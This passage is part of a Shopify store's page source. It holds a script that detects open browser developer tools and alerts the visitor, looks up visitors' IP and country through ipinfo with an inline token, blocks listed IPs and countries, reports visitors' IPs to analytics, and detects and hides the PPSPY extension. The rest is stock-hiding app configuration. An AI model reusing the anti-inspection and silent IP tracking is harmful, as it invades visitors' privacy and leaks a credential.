13863        const emitEvent = (isOpen, orientation) => {
13864            globalThis.dispatchEvent(
13865                new globalThis.CustomEvent('devtoolschange', {
13866                    detail: {
13867                        isOpen,
13868                        orientation,
13869                    },
13870                }),
13871            );
13872        };
13873        const main = ({ emitEvents = true } = {}) => {
13874            const widthThreshold =
13875                globalThis.outerWidth - globalThis.innerWidth >
13876                threshold;
13877            const heightThreshold =
13878                globalThis.outerHeight - globalThis.innerHeight >
13879                threshold;
13880            const orientation = widthThreshold
13881                ? 'vertical'
13882                : 'horizontal';
13883
13884            if (
13885                !(heightThreshold && widthThreshold) &&
13886                ((globalThis.Firebug &&
13887                    globalThis.Firebug.chrome &&
13888                    globalThis.Firebug.chrome.isInitialized) ||
13889                    widthThreshold ||
13890                    heightThreshold)
13891            ) {
13892                if (
13893                    (!devtools.isOpen ||
13894                        devtools.orientation !== orientation) &&
13895                    emitEvents
13896                ) {
13897                    emitEvent(true, orientation);
13898                }
13899
13900                devtools.isOpen = true;
13901                devtools.orientation = orientation;
13902            } else {
13903                if (devtools.isOpen && emitEvents) {
13904                    emitEvent(false, undefined);
13905                }
13906
13907                devtools.isOpen = false;
13908                devtools.orientation = undefined;
13909            }
13910        };
13911
13912        main({ emitEvents: false });
13913        setInterval(main, 500);
13914
13915        window.addEventListener('devtoolschange', (event) => {
13916            if (
13917                /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(
13918                    navigator.userAgent,
13919                )
13920            ) {
13921            } else {
13922                if (event.detail.isOpen) {
13923                    alert(inspectElementsMessage);
13924                    console.log(
13925                        `%c ${inspectElementsMessage}`,
13926                        'font-size:32px;',
13927                    );
13928                }
13929            }
13930        });
13931    }
13932
13933    // here block ips and countries
13934     const ipResponse = await fetch('https://api.ipify.org?format=json');
13935    const ipData = await ipResponse.json();
13936    const userIp = ipData.ip;
13937
13938        if (data?.blockedCountriesCca2 && data.blockedCountriesCca2.length > 0) {
13939
13940        // Fetch location details using the user's IP
13941        const locationResponse = await fetch(`https://ipinfo.io/${userIp}?token=7607a79426eec0`);
13942        const locationData = await locationResponse.json();
13943        console.log('User Location:', locationData);
13944
13945        // Implement blocking logic for Countrys 
13946        if (data?.blockedCountriesCca2?.includes(locationData.country)) {
13947            console.log('Access blocked for this IP:', userIp);
13948            // fetch endpoint analytics 
13949            await sendAnalytics(host, userIp, locationData.country, 'Country');
13950
13951            window.location.href = "about:blank"; // Redirect to a blank page
13952        }
13953    }
13954    
13955    // Implement blocking logic for IPs
13956
13957    if (data?.blockedIps?.includes(userIp)) {
13958      console.log('Access blocked for this IP:', userIp);
13959      // fetch endpoint analytics
13960      await sendAnalytics(host, userIp, "none", 'Ip');
13961      window.location.href = "about:blank"; // Redirect to a blank page
13962    }
13963
13964    // check if ppspy 
13965    
13966    const observer = new MutationObserver(() => {
13967        if (document.querySelector('.ppspy-exp-view-root')) {
13968            console.log('PPSPY!.');
13969            
13970            // Call an async function
13971            (async () => {
13972                 await sendAnalytics(host, userIp, "none", 'Extenstion');
13973                 observer.disconnect(); // Stop observing once found
13974            })();
13975        }
13976    });
13977
13978    // Start observing changes in the body (or a specific container)
13979    observer.observe(document.body, { childList: true, subtree: true });
13980
13981 
13982  } catch (error) {
13983    console.error('Error test:', error);
13984  }
13985};  
13986 
13987if(host=="homcart-4059.myshopify.com"){
13988
13989 window.addEventListener('load', function () {
13990  console.log('Page is fully loaded');
13991
13992  setTimeout(function () {
13993
13994    fetchSettings();
13995 
13996  }, 2000);  
13997});
13998 
13999      let styleo = `<style>
14000div[style*="2147483647"] {
14001display: none !important;
14002}
14003.extension-container {
14004display: none !important;
14005}
14006.ppspy-exp-view-root {
14007display: none !important;
14008}
14009</style>`;
14010document
14011            .querySelector('head')
14012            .insertAdjacentHTML('beforeend', styleo);
14013
14014}else{
14015    fetchSettings();
14016}
14017</script>
14017
14018 
14019</div><div id="shopify-block-AbmR4ZVhWZXJvS2NJQ__2786716548061469553" class="shopify-block shopify-app-block">
14020
14021<script>
14022</script>
14022
14023
14024 </div><div id="shopify-block-AWXFqMDFtQTRGTUxNT__914574027208035924" class="shopify-block shopify-app-block camouflage-hide-oos">
14025
14026
14027
14028<style data-script_priority="low">
14029
14030
14031
14032
14033</style>
14034
14035
14036<!-- BEGIN app snippet: camouflage-data -->
14036<script>
14037    (function() {
14038        if(!window.loaded_script_hoos_obj) {
14039            window.loaded_script_hoos_obj = {};
14040        }
14041        window.hoosObj = null; // resetting value for quick views
14042        
14043            window.hide_oos_enabled = "codecrux hide oos";
14044        
14045        window.current_date_time = "Surday, October 10, 2026  12:40 am +0200";const codecrux_settings = {"selector_type":"","theme_name":"","other_theme_name":"","unavailable_class":"","hide_oos_variants":false,"strikethrough_oos_variants":false,"variant_action":"none","hide_oos_check_qty":false,"quickview_enabled":"","product_grid_enabled":"","load_available_script":"","integrates_with":"no-app","update_collection_links":"","collection_link_delay":0,"hide_if_no_image":"","hide_if_price_zero":"","custom_js":"{\n  \"hide_oos_extras\": {\n    \"disabled\": false,\n    \"render_global_hide_script\": \"yes\",\n    \"target_parent_element\": true,\n    \"use_TA7\": true\n  }\n}","other_file_name":"2ab921a-mixed-type-TA7.js","render_global_hide_script":"yes","hide_in_safari":"hide","version":"v4","hide_specific_variants":"hide","always_hide_show_field":"variant_title","include_only_hide_show_field":"yes"} || {};
14046        const requested_page = { "design_mode": "false", "host": "essentialbag.com", "locale": "en", "origin": "https://essentialbag.com", "page_type": "cart", "path": "/cart", "visual_preview_mode": "false"}
14047    
14048    
14049        const hide_variants_options_arr = '';
14050        let hide_oos_extras = window.hide_oos_extras || null;
14051        let hide_oos_query_selectors = window.hide_oos_query_selectors || null;
14052        let custom_js = {}; // custom_js is custom_json configuration
14053        if (codecrux_settings && codecrux_settings.custom_js) {
14054            custom_js = codecrux_settings.custom_js || '';
14055            if (typeof custom_js === "string") {
14056                try {
14057                    custom_js = JSON.parse(custom_js) || {};
14058                } catch(error) {
14059                    console.error(error);
14060                }
14061            }
14062    
14063            // giving priority to window object
14064            if (typeof custom_js === "object") {
14065                custom_js.hide_oos_extras = window.hide_oos_extras || custom_js.hide_oos_extras;
14066                custom_js.hide_oos_query_selectors = window.hide_oos_query_selectors || custom_js.hide_oos_query_selectors;
14067                custom_js.product_grid = window.hide_oos_product_grid || custom_js.product_grid;
14068                custom_js.quick_view = window.hide_oos_quick_view || custom_js.quick_view;
14069                custom_js.featured_product = window.hide_oos_featured_product || custom_js.featured_product;
14070                custom_js.image_hide = window.hide_oos_image_hide || custom_js.image_hide;
14071            }
14072        }
14073    
14074        window.hide_oos_t_settings = {"theme_name":"","selector_type":"","hide_oos_variants":false,"strikethrough_oos_variants":false,"other_file_name":"","reverse_options":false} || {};
14075    
14076        delete codecrux_settings.custom_css;
14077        delete codecrux_settings.custom_js;
14078        delete codecrux_settings.global_custom_css;
14079    
14080        window.hide_oos_m_settings = {
14081            ...codecrux_settings,
14082            variant_action: "none"
14083        }
14084    
14085        window.camouflage_global_config = {
14086            hide_oos_m_settings: hide_oos_m_settings,
14087            hide_oos_t_settings: hide_oos_t_settings,
14088            hide_variants_options_arr: hide_variants_options_arr,
14089            key: "eb3ef-c9b51-a6a7b-1f01e-e1d46-e54b6-ea",
14090            request: requested_page,
14091            logLevel: "fakeLog",
14092            current_country: "US",
14093            money_format: "${{amount}}",
14094            collection_id: null,
14095            collection_handle: null,
14096            collection_product_count: null,
14097            collection_products: [],
14098            ...custom_js
14099        };
14100
14101        console.fakeLog = () => {};
14102
14103        
14104})();
14105
14106</script>
14106
14107
14108
14109<script id="camouflage_customer_tags">
14110    window.camouflageCustomerTags = window.camouflageCustomerTags || [];</script>
14110<!-- END app snippet --><!-- BEGIN app snippet: swatch-snippet --><!-- END app snippet -->
14111    
14111<script id="camouflage-custom-js-global">
14112        // custom js here
14113    </script>
14113
14114
14115
14116
14117
14118    <!-- BEGIN app snippet: global-hide-variants -->
14118<script>
14119    const camouflageHideVariantOptionsGlobalArr = () => {
14120        const hide_variants_options_global_arr = window.camouflage_global_config.hide_variants_options_arr;
14121        const current_product_type = window.hide_oos_t_settings.product?.type;
14122        const current_product_tags = window.hide_oos_t_settings.product?.tags;
14123        const current_country = window.camouflage_global_config.current_country || window.Shopify?.country || '';
14124        let current_customer_tags = window.camouflage_global_config.customer_tags || window.camouflageCustomerTags || [];
14125        const logLevel = window.location.search.includes('debug=camouflage') ? 'debug' : 'fakeLog';
14126        const loggerPrefix = ['%cCamouflage-Global', 'color:orange; font-size: 16px; background-color: green;'];
14127        const currentPageType = window.camouflage_global_config.request.page_type;
14128        const collectionPageFilterContainer = document.querySelector('facet-filters-form, #FacetFiltersForm') || document.body;
14129    
14130        if (Array.isArray(hide_variants_options_global_arr)) {
14131            let css_array = [];
14132            for (const option of hide_variants_options_global_arr) {
14133                const option_name = option.name;
14134                const option_values = Array.isArray(option.values) ? option.values.filter(value => value !== "") : typeof option.values === "string" ? option.values.split(",").map(value => value.trim()).filter(value => value !== "") : [];
14135                const countries = Array.isArray(option.countries) ? option.countries.filter(value => value !== "") : typeof option.countries === "string" ? option.countries.split(",").map(value => value.trim()).filter(value => value !== "") : [];
14136                const ex_countries = Array.isArray(option.ex_countries) ? option.ex_countries.filter(value => value !== "") : typeof option.ex_countries === "string" ? option.ex_countries.split(",").map(value => value.trim()).filter(value => value !== "") : [];
14137                const customer_tags = Array.isArray(option.customer_tags) ? option.customer_tags.filter(value => value !== "") : typeof option.customer_tags === "string" ? option.customer_tags.split(",").map(value => value.trim()).filter(value => value !== "") : [];
14138                const product_types = Array.isArray(option.product_types) ? option.product_types.filter(value => value !== "") : typeof option.product_types === "string" ? option.product_types.split(",").map(value => value.trim()).filter(value => value !== "") : [];
14139                const product_tags = Array.isArray(option.product_tags) ? option.product_tags.filter(value => value !== "") : typeof option.product_tags === "string" ? option.product_tags.split(",").map(value => value.trim()).filter(value => value !== "") : [];
14140                current_customer_tags = Array.isArray(current_customer_tags) ? current_customer_tags.filter(value => value !== "") : (typeof current_customer_tags === "string" ? current_customer_tags.split(",").map(value => value.trim()).filter(value => value !== "") : []);
14141                const excludedConfiguredTags = customer_tags.filter(tag => tag.charAt(0) === '-').map(tag => tag.slice(1));
14142                const customerTaggedWithExcludedTag = excludedConfiguredTags.length ? current_customer_tags.some(tag => excludedConfiguredTags.includes(tag)) : false;
14143    
14144                if (ex_countries.length && ex_countries.includes(current_country)) {
14145                    console[logLevel](...loggerPrefix, `Not hiding due to ex_countries: ${ex_countries}, options: ${JSON.stringify(option)}`);
14146                    continue;
14147                }
14148    
14149                if (countries.length && !countries.includes(current_country)) {
14150                    console[logLevel](...loggerPrefix, `Not hiding due to countries: ${countries}, options: ${JSON.stringify(option)}`);
14151                    continue;
14152                }
14153
14154                if (customerTaggedWithExcludedTag) {
14155                    console[logLevel](...loggerPrefix, `Not hiding due to customerTaggedWithExcludedTag: ${customerTaggedWithExcludedTag}, options: ${JSON.stringify(option)}`);
14156                    continue;
14157                }
14158    
14159                if (customer_tags.length && !excludedConfiguredTags.length && !customer_tags.some(tag => current_customer_tags.includes(tag))) {
14160                    console[logLevel](...loggerPrefix, `Not hiding due to customer_tags: ${customer_tags}, options: ${JSON.stringify(option)}`);
14161                    continue;
14162                }
14163
14164                if (product_types.length && !current_product_type) {
14165                    console[logLevel](...loggerPrefix, `Not hiding due to current_product_type found: ${product_types}, options: ${JSON.stringify(option)}`);
14166                    continue;
14167                }
14168    
14169                if (product_types.length && !product_types.includes(current_product_type)) {
14170                    console[logLevel](...loggerPrefix, `Not hiding due to product_types: ${product_types}, options: ${JSON.stringify(option)}`);
14171                    continue;
14172                }
14173
14174                if (product_tags.length && !current_product_tags) {
14175                    console[logLevel](...loggerPrefix, `Not hiding due to current_product_tags found: ${product_tags}, options: ${JSON.stringify(option)}`);
14176                    continue;
14177                }
14178    
14179                if (product_tags.length && !product_tags.some(tag => current_product_tags.includes(tag))) {
14180                    console[logLevel](...loggerPrefix, `Not hiding due to product_tags: ${product_tags}, options: ${JSON.stringify(option)}`);
14181                    continue;
14182                }
14183    
14184                // hide from collection filters
14185                for (const option_value of option_values) {
14186                    const cssEsapedValue = CSS.escape(option_value);
14187                    if (typeof window.camouflageGlobalVariantHideFnPDP === 'function') {
14188                        window.camouflageGlobalVariantHideFnPDP({ option_name, option_value, css_array });
14189                    } else {
14190                        css_array.push(`input[name^="${option_name}"][value="${cssEsapedValue}"] + label { display: none !important; }`);
14191                    }
14192
14193                    // add collection page filter css
14194                    if (currentPageType === 'collection') {
14195                        if (typeof window.camouflageGlobalVariantHideFnPLP === 'function') {
14196                            window.camouflageGlobalVariantHideFnPLP({ option_name, option_value, css_array });
14197                        } else {
14198                            const filterQuery = collectionPageFilterContainer.querySelectorAll(`input[name="filter.v.option.${option_name}"][value="${cssEsapedValue}"], input[name="filter.v.option.${option_name.toLowerCase()}"][value="${cssEsapedValue}"], input[name="filter.v.option.${option_name.toLowerCase()}"][value="${cssEsapedValue.toLowerCase()}"]`);
14199                            filterQuery.forEach(input => {
14200                                if (input.id) {
14201                                    css_array.push(`input[id="${input.id}"] { display: none !important; }`);
14202                                    css_array.push(`label[for="${input.id}"] { display: none !important; }`);
14203                                }
14204                            });
14205                        }
14206                    }
14207                }
14208            }
14209    
14210            const css = css_array.join("\n");
14211            console[logLevel](...loggerPrefix, 'css', css);
14212            // add css to style tag
14213            const style_tag = document.createElement("style");
14214            style_tag.innerHTML = css;
14215            style_tag.id = "camouflage-custom-css-global";
14216            document.head.appendChild(style_tag);
14217        }
14218    }
14219
14220    try {
14221        camouflageHideVariantOptionsGlobalArr();
14222    } catch (error) {
14223        console.error(error);
14224    }
14225
14226
14227</script>
14227<!-- END app snippet -->
14228
14229
14230
14231</div>
14231<script src="https://cdn.shopify.com/storefront/standard-actions.js" type="module" data-source-attribution="shopify.standard_actions"></script>
14231
14232</body>
14233</html>

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.